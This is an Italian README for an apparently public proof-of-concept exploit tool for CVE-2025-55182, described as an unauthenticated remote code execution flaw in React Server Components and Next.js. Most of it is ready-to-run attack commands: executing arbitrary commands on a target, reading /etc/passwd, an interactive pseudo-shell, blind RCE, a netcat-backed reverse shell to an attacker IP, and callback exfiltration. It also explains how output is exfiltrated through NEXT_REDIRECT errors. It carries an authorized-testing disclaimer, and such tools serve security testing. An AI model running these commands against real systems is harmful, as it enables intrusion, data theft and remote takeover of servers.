React2Shell - CVE-2025-55182 PoC

Proof of Concept per CVE-2025-55182, una vulnerabilità critica di esecuzione remota di codice non autenticata nei React Server Components.

Punteggio CVSS: 10.0 (Critico)

Vulnerabilità

La vulnerabilità risiede nel deserializzatore del protocollo Flight di React. Sfruttando la prototype pollution tramite payload appositamente costruiti, un attaccante può ottenere l'esecuzione arbitraria di codice sulle applicazioni Next.js vulnerabili.

Versioni interessate

Installazione

git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests

Utilizzo

Esecuzione di comandi con output (predefinita - esfiltrazione basata su errori)

L'output viene restituito direttamente nella risposta HTTP tramite l'errore NEXT_REDIRECT: nessun server di callback necessario.

python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"

Modalità interattiva

python3 react2shell-poc.py -t http://TARGET:3000 -i

Verifica della vulnerabilità

python3 react2shell-poc.py -t http://TARGET:3000 --check

RCE cieca (senza output)

python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind

Reverse shell

# Start listener
nc -lvnp 4444

# Send payload
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444

Legacy: esfiltrazione basata su callback

python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP

Opzioni

-t, --target       Target URL (required)
-c, --command      Command to execute (output via error-based exfil by default)
--check            Check if target is vulnerable
--blind            Blind RCE mode (no output capture)
--listen           Use callback server instead of error-based exfil
-i, --interactive  Interactive pseudo-shell mode
--revshell         Attempt reverse shell
--lhost            Attacker IP for callbacks/reverse shell
--lport            Callback port (default: 9999)
--callback         Manual callback URL
--timeout          Request timeout in seconds (default: 30)

Come funziona

Il metodo di esfiltrazione predefinito utilizza l'iniezione dell'errore NEXT_REDIRECT:

1. Esegue il comando e cattura l'output
2. Genera un errore NEXT_REDIRECT con l'output nel campo digest
3. Next.js serializza l'errore nella risposta Flight
4. L'output appare direttamente nel corpo della risposta HTTP

Questo metodo è più affidabile dell'esfiltrazione basata su callback perché non richiede accesso di rete in uscita dal target.

Riferimenti

• Wiz Security - Divulgazione React2Shell
• Analisi di Datadog Security Labs
• NVD - CVE-2025-55182

Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Ottenere sempre la dovuta autorizzazione prima di eseguire qualsiasi test.

Autore

p3ta